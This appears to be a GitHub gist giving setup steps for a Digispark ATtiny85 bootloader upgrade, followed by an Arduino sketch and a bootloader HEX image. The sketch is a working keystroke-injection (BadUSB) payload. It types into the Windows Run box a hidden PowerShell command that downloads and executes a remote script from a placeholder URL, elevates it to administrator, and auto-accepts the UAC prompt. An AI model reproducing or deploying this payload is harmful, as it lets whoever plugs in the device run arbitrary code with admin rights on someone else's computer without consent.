-
Download Micronucleus from Micronucleus v2.6
-
Download
main.hex
micronucleus-1.11-entry-jumper-pb0-upgrade.hex -
Run Micronucleus
Execute the command:micronucleus micronucleus-1.11-entry-jumper-pb0-upgrade.hex
-
Plugin Digispark and Wait
Connect your Digispark and wait until the upload has finished. -
Open Arduino and Install Board Manager
- Go to File -> Preferences on a PC, or Arduino -> Preferences on a Mac.
- Enter the following URL in "Additional Boards Manager URLs":
http://drazzy.com/package_drazzy.com_index.json
- Navigate to Tools -> Boards -> Boards Manager...
- Search for "ATTinyCore by Spence Konde" and click "Install".
-
More Information
For more detailed installation instructions, refer to ATTinyCore Installation Guide. -
Select Board for ATTNY in IDE
After installation, select the appropriate board for ATTiny in your IDE. -
Upload New Bootloader
When uploading new code after installing the bootloader, ensure to connect the P0 pin and GND pin. -
Upload Code
Upload your code to the ATTiny board.
Last active
May 7, 2024 14:00
-
-
Save phoenixthrush/168390df72f07776dd4b578600f9aeb6 to your computer and use it in GitHub Desktop.
Digispark Attiny85 - Remove 5 Second Delay
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <DigiKeyboard.h> | |
void setup() { | |
pinMode(0, OUTPUT); | |
DigiKeyboard.sendKeyStroke(0); | |
// open run box | |
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); | |
DigiKeyboard.delay(250); | |
// run command | |
DigiKeyboard.println("powershell -W H -c \"irm https://example.ps1 | iex\""); | |
// launch with admin | |
DigiKeyboard.delay(250); | |
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT); | |
// accept UAC | |
DigiKeyboard.delay(500); | |
DigiKeyboard.sendKeyStroke(KEY_J, MOD_ALT_LEFT); | |
} | |
void loop() { | |
digitalWrite(0, HIGH); | |
delay(1000); | |
digitalWrite(0, LOW); | |
delay(1000); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
:1000000003C003C003C003C003C003C003C003C0D8 | |
:10008000ABC3D5C3D4C3D3C3D2C3D1C3D0C3CFC3EF | |
:10009000CEC3CDC3CCC3CBC3CAC3C9C3C8C317C0A7 | |
:1000A00016C04CC014C009021200010100803209C0 | |
:1000B000040000000000000012011001FF00000811 | |
:1000C000D01653070B01000000010403090411249A | |
:1000D0001FBECFE5D2E0CDBFDEBF00EB0F9307E040 | |
:1000E0000F9310E0A0E6B0E0E4EFFFE102C005905E | |
:1000F0000D92A636B107D9F720E0A6E6B0E001C020 | |
:100100001D92A639B207E1F7E2C1A82FB92F80E00E | |
:1001100090E041E050EA609530E009C02D918227DF | |
:100120009795879510F084279527305EC8F36F5F09 | |
:10013000A8F30895EADF8D939D930895CF93CFB7E9 | |
:10014000CF93C0915F02C03B21F4C0915E02C730E3 | |
:1001500021F0CF91CFBFCF91A1CFCC27C395B39B37 | |
:10016000E9F7B39B0BC0B39B09C0B39B07C0B39B1C | |
:1001700005C0B39B03C0B39B01C0D3C00F92DF93F4 | |
:10018000C0917900DD27C058DF4F012EB39B03C01B | |
:10019000DF910F90E6CF2F930F931F934F932FEF85 | |
:1001A0004F6F06B303FB20F95F933F9350E03BE0B2 | |
:1001B00065C016B30126502953FDC89556B30127D3 | |
:1001C00003FB25F92F7306B3B1F05027102713FB5B | |
:1001D00026F906B22230F0F000C016B3012703FB67 | |
:1001E00027F90126502906B22430E8F54F77206818 | |
:1001F00016B30000F6CF50274F7D206206B2102FB5 | |
:10020000000000C006B300265029102713FB26F972 | |
:1002100006B2E2CF4F7B06B3206400C0DACF0126DE | |
:100220005029187106B269F14E7F2160012F16B373 | |
:1002300028C0002650294D7F06B22260102F29C009 | |
:10024000012650294B7F06B22460012F2DC016B322 | |
:1002500001265029477F2860000006B22EC04F7E3D | |
:1002600006B3206130C0422706B3499300265029C7 | |
:10027000102706B24FEF13FB20F9297F16B379F24E | |
:10028000187159F10126502906B2012703FB21F903 | |
:10029000237F06B371F2002650293150D0F006B208 | |
:1002A000102713FB22F9277E16B351F2012650299D | |
:1002B000012703FB06B223F92F7C49F2000006B3A5 | |
:1002C000102713FB24F90026502906B22F7939F2A2 | |
:1002D00070CF10E21ABF002717C03B503195C31BE7 | |
:1002E000D04010E21ABF0881033CF9F00B34E9F06A | |
:1002F000209177001981110F1213EDCF093651F1BA | |
:100300000D3211F0013E39F700937E003F915F916D | |
:100310004F911F910F912F91DF910F90CAB7C5FD9B | |
:100320001DCFCF91CFBFCF91189520917E00222372 | |
:1003300069F310917C00112321F5343022F13093C0 | |
:100340007C0020937800109179003BE0311B3093C2 | |
:10035000790019C000917C0001309CF40AE53091CD | |
:10036000600034FD11C000936000CCE6D0E010C006 | |
:10037000052710E000C021C0052710E0C89508BB84 | |
:1003800014C03AE501C032ED032EC0E0D0E032E007 | |
:1003900017B31861C39A08B317BB58E120E84FEFB1 | |
:1003A00020FF052708BB279517951C3F28F700005D | |
:1003B0004552B0F720FF0527279508BB17951C3F2E | |
:1003C000B8F629913A9561F7077E10917D00110FDB | |
:1003D00008BBC250D04011F01093770010E21ABF52 | |
:1003E000086017B3177E402F477E54E05A95F1F707 | |
:1003F00008BB17BB48BB8ACFF8942FEFB0E8A0E446 | |
:100400004AE0B1BF000081EE9CE0B399FECFB39B00 | |
:10041000FECF0197B399FDCF97FF03C0BA1B81951B | |
:1004200001C0BA0FA69529F4281710F031B7282F6C | |
:10043000A1E0415031F731BF000078940895F8945D | |
:10044000F201329785E080935700E89578940895FB | |
:10045000F201309729F4909368008093670007C0F9 | |
:10046000E430F10539F490936A00809369008FE5D8 | |
:100470009CEC1FC02CEB421628E1520639F4809107 | |
:100480006700909168008E559C4F13C02EEB42166A | |
:1004900028E1520639F48091690090916A008D55E7 | |
:1004A0009C4F07C02AEB421628E1520611F481B78F | |
:1004B00090E02FB7F89431E00C0130935700E895A5 | |
:1004C00011242F0182E0480E511C2FBF0895B898C7 | |
:1004D000C09A8DE190E10197F1F7B09B15C0EDEB6B | |
:1004E000F8E1E491EF3F81F0C098F894BB9A1BBE0D | |
:1004F00015BA10925F02EAEBF8E1E4918E2F815079 | |
:100500008E3F08F462C163C114BE88E181BD87E0FB | |
:1005100081BDBB9A88E893E1ECE9F1E03197F1F70E | |
:100520000197D1F7BB98AC9A8BB780628BBF789458 | |
:10053000712C8CE991E00197F1F7A895312C60912D | |
:100540007C00162F135017FDB2C080917900CCE0CB | |
:10055000D0E0C81BD109C058DF4F6150CE01D5DDB6 | |
:100560008E3F9F4409F0A1C0809178008D3209F040 | |
:1005700085C0183009F099C083EC80936C008AE53F | |
:1005800080936000109266009881292F20768981DF | |
:100590002223D1F0712C811108C082E690E0909363 | |
:1005A0007B0080937A0024E05FC0813051F481E1C8 | |
:1005B00080935700E8954C805D8097FD50C02FEFE9 | |
:1005C0004FC0382E20E050C09A81109275008111E2 | |
:1005D00006C01092760085E790E022E03BC08530AF | |
:1005E00019F490937D002CC0863009F58B81813001 | |
:1005F00019F48AED98E104C0823041F488EC98E166 | |
:1006000090937B0080937A0022E10DC0833051F4F7 | |
:10061000911108C08CEE98E190937B0080937A0052 | |
:1006200024E001C020E080E4809366001DC0883093 | |
:1006300059F0893019F490937F0002C08A3039F064 | |
:1006400085E790E020E006C08FE790E002C085E7F4 | |
:1006500090E021E090937B0080937A0005C02E818A | |
:1006600080E88093660007C08F81811104C08E816D | |
:10067000821708F4282F2093610017C0809166002C | |
:1006800087FF13C080EC481688E1580620F0842DBF | |
:100690008F7339F00AC089919991DADE125091F77F | |
:1006A000F6CF95E0392E1092610010927C00809177 | |
:1006B000600084FF42C0809161008F3F09F43DC01B | |
:1006C000182F893008F018E0811B80936100809119 | |
:1006D0006C0098E8892780936C00112311F1E09158 | |
:1006E0007A00F0917B008091660086FF0BC0ADE63A | |
:1006F000B0E084918D9331968DE690E0810F8A135E | |
:10070000F8CF0BC0EF01ADE6B0E089918D93FE010B | |
:100710008DE690E0810F8A13F8CFF0937B00E09391 | |
:100720007A00612F8DE690E005DD1C5F1C3019F02A | |
:100730008FEF809361001093600084E196B398710D | |
:1007400031F48150D9F710927D0010927700C1E00A | |
:100750008111C0E080916B008C1729F0C11101C09C | |
:100760004BDEC0936B00C30101963C018035934C76 | |
:1007700011F484E0382E232D3320E9F08AE390E24F | |
:100780000197F1F72230A9F4F894E0ECF8E1E05495 | |
:10079000F10983E080935700E8953097C1F7412C29 | |
:1007A000512CC8E08FEF9FEF53DEC150D9F747DEE1 | |
:1007B00002C02530E1F384E03812BBCEEDEBF8E166 | |
:1007C000E491EF3F09F4B5CE8FCEE1BF000065CCD8 | |
:1007D000FFCF5AFF18BA40080000000000000000D8 | |
:1007E0000000000000000000000000000000000009 | |
:1007F000000000000000000011241FBECFE5D2E081 | |
:10080000DEBFCDBF10E0A0E6B0E0E4E9FAE002C050 | |
:1008100005900D92A236B107D9F710E0A2E6B0E03C | |
:1008200001C01D92A236B107E1F71CD131C128CC1D | |
:1008300005C0EDE1F0E13197F1F701970097C9F7B5 | |
:100840000895AC01407C80E090E0FC01E40FF51FCE | |
:1008500025913491FC01EE7FE60FF71F2083318351 | |
:1008600002968034910589F70895FC01E07C83E0CD | |
:1008700080935700E89507B600FCFDCF0895CF930D | |
:10088000DF93EC01AB01DB0120E030E0FE01E41B73 | |
:10089000F50BEA0FFB1F8D919D9161E00C016093B8 | |
:1008A0005700E89511242F5F3F4F2032310571F733 | |
:1008B00085E0FE0180935700E89507B600FCFDCF68 | |
:1008C000DF91CF910895CF93DF93CDB7DEB7C054BA | |
:1008D000D0400FB6F894DEBF0FBECDBF8091600050 | |
:1008E000909161009695879581509044FE013196D4 | |
:1008F0009E012F5B3F4F81939193E217F307D9F746 | |
:1009000080E090E0B2DF80E090E0BE016F5F7F4F5B | |
:10091000B6DFC05CDF4F0FB6F894DEBF0FBECDBFB1 | |
:10092000DF91CF9108950F931F93CF93DF93CDB7AE | |
:10093000DEB7C054D0400FB6F894DEBF0FBECDBFB7 | |
:1009400000E010E040C080E090E0F801E256FF4F88 | |
:10095000E80FF91F9C013595279547E0E83DF4071E | |
:1009600070F0F901EE0FFF1F21E030E02C0F3D1F6A | |
:10097000E20FF31F2FEF3FEF318320830DC045912E | |
:100980005491F901EE0FFF1F21E030E02C0F3D1FC5 | |
:10099000E20FF31F40835183029680349105A9F63C | |
:1009A0008091600090916100800F911F5EDF8091C7 | |
:1009B000600090916100800F911FBE016F5F7F4FBB | |
:1009C0005EDF005C1F4F37E00034130709F0BBCF38 | |
:1009D000C05CDF4F0FB6F894DEBF0FBECDBFDF9116 | |
:1009E000CF911F910F910895CF93DF93CDB7DEB7CD | |
:1009F000C054D0400FB6F894DEBF0FBECDBF80E02C | |
:100A000090E0BE016F5F7F4F1CDF8FEF9FEF9A83F7 | |
:100A1000898380E090E029DF80E090E0BE016F5F95 | |
:100A20007F4F2DDFC05CDF4F0FB6F894DEBF0FBEE7 | |
:100A3000CDBFDF91CF910895CF9387B3836087BBFC | |
:100A4000C198CAEF81E090E0F3DEC19A81E090E0C6 | |
:100A5000EFDEC198C150B1F7CF910895E0E0F0E02A | |
:100A60000995089588B318BA87B38FEF87BB8AEFCB | |
:100A700090E0DEDE87B317BA8AEF90E0D9DEF89413 | |
:100A8000B3DF51DF20DFD8DFE9DF80E090E00895B9 | |
:040A9000F894FFCF08 | |
:020A9400C01888 | |
:040000030000008079 | |
:00000001FF |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment